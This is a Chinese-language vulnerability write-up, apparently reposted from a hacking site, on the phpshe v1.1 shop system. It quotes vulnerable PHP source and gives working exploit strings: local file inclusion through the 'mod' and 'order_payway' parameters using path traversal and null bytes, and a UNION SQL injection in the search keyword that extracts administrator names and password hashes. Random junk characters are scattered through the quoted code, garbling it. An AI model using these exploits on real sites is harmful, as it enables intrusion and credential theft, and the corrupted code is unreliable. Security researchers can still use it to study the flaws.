phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
. u% d* C9 `% I5 x! U( Q- [% p/* ========================
1 x" C6 k6 o2 b( T" u1 A7 T* h/* By: : Kn1f3
* g0 s: K7 g. a: D; ~/* E-Mail : 681796@qq.com
3 R/ i5 e6 P' X" `0 H  H8 K' t7 e  Z/*******************************************************/
0×00 整体大概参数传输



//common.php
if (get_magic_quotes_gpc()) {
7 ^  L! ?! e- w' n% s) o!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
8 K' T. E5 n6 j!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
& P8 E9 Y" ?0 }8 f9 uelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
. q9 j  q. G& w+ d3 k!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
! A' I  p7 c( s" {% L!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

6 R' E, }3 K! n7 S2 q8 G) {  B0×01 包含漏洞

/ }2 \7 @; j% ?( o: u% Q$ `
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 K. [) {: {- K. b, Ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
$ x5 ~2 h" b3 N8 t% d8 @, b?>
//common 文件 第15行开始
url路由配置
! T" _5 |2 }5 L: n- Q$module = $mod = $act = 'index';
7 Z! }! |! I( J+ x  y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
# M$ e1 b) c, K5 P' C$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

& X" q$ u' i, f* y: _" s
0×02 搜索注入

, r0 Q+ y0 e0 r, W& v$ t<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
1 M6 s; x' Y& i4 |6 i$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
' d9 H! ?1 ]" ^$ |6 o5 Uwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
, ^& C& Y: f; U7 e1 o* ?/ |. ~" K$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
' \' K! r: b. x2 U$ ]}
! V" @2 j3 B' v9 yelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
8 i# C: r9 f3 |$ w& ]! x: ^1 K//热卖排行
$product_hotlist = product_hotlist();
. }! a9 l" m* p; |//当前路径
0 \# M  y1 T3 b8 C+ G2 H9 W8 z$nowpath = category_path($category_id);
/ @# a5 S) _/ H0 i' P/ `$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
- Z8 F3 T9 N! u0 T& _9 b3 M! n//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
; Y" |" ~$ e& d$ ]* z{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 [3 ]' a2 |* X}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
6 h! K& s' S5 y" U" f; b  O8 I

</code>
) ]' b2 `. _8 B5 V: P; ]
  c7 O- X8 E( k9 c! p0×03 包含漏洞2
9 ?$ d+ A! R! {* a- @9 q9 b
<code id="code3">

//order.php

case 'pay':

) z) T8 `) C7 _7 t9 n# K8 ]- o2 n- C$order_id = pe_dbhold($_g_id);

& K5 t6 q( p: U( l3 }+ P$cache_payway = cache::get('payway');

$ z. {6 {1 _: ]. {; ?foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

5 N! R; D6 E! w' r9 @6 L$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; v' Z5 _+ T% p7 N( y4 {/ ~!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

5 E: z% R+ J5 q9 {, A! d}

# [8 c4 e- U$ F$ X5 Gecho '正在为您连接支付网站，请稍后...';

! L5 ^$ T$ e2 O: hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ P& j1 J8 a# ?: b}//当一切准备好的时候就可以进行"鸡肋包含了"

$ ]0 t' i1 }9 J: B5 I& t8 telse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

* p) Z1 p# G( h% u2 d0 ]include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
+ O6 g2 m! i& @* r1 Whttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg